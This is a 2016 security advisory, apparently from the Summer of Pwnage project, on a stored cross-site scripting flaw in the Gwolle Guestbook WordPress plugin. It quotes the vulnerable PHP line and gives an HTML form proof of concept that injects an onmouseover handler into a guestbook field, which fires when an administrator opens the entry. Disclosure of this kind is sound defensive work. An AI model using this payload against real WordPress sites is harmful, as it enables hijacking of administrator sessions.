Cross-Site Scripting in Gwolle Guestbook WordPress Plugin version 1.7.
`------------------------------------------------------------------------
Cross-Site Scripting vulnerability in Gwolle Guestbook WordPress Plugin
------------------------------------------------------------------------
Radjnies Bhansingh, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Gwolle Guestbook
WordPress plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure a WordPress user with editor or
administrator privileges into opening a malicious website.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0033
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Gwolle Guestbook WordPress
Plugin version 1.7.4.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue was fixed in Gwolle Guestbook version version 2.1.1. The most
recent version of Gwolle Guestbook can be obtained from the following
location:
https://wordpress.org/plugins/gwolle-gb/
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html
This issue can be exploited by an anonymous attacker that sends a Cross-Site Scripting payload via one of the input fields of the guestbook. These fields are visible in the guestbook entries tab. Whenever an editor or administrator reviews the entry the payload is executed.
An example of this vulnerability exists in the /gwolle-gb/admin/page-editor.php file on line 434:
<input type="text" name="gwolle_gb_author_origin" tabindex="3" class="wp-exclude-emoji" placeholder="<?php _e('City', 'gwolle-gb'); ?>" value="<?php echo gw olle_gb_sanitize_output( $entry->get_author_origin() ); ?>" id="author_origin" />
Proof of Concept
A proof of concept attack is listed below:
<html>
<body>
<form action="https://<target>/" method="POST">
<input type="hidden" name="gwolle_gb_function" value="add_entry"/>
<input type="hidden" name="gwolle_gb_book_id" value="1"/>
<input type="hidden" name="gwolle_gb_author_name" value="John"/>
<input type="hidden" name="gwolle_gb_author_origin" value="amsterdam" onmouseover=alert(1) a=""/>
<input type="hidden" name="gwolle_gb_author_email" value="[email protected]"/>
<input type="hidden" name="gwolle_gb_author_website" value=""/>
<input type="hidden" name="gwolle_gb_subject" value=""/>
<input type="hidden" name="gwolle_gb_content" value="hi, cool"/>
<input type="hidden" name="gwolle_gb_wpnonce" value="<valid nonce>"/>
<input type="hidden" name="gwolle_gb_submit" value="Submit"/>
<input type="submit"/>
</form>
</body>
</html>
A victim editor or administrator then needs to open the following view page:
http://<target>/wp-admin/admin.php?page=gwolle-gb/editor.php&entry_id=13
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo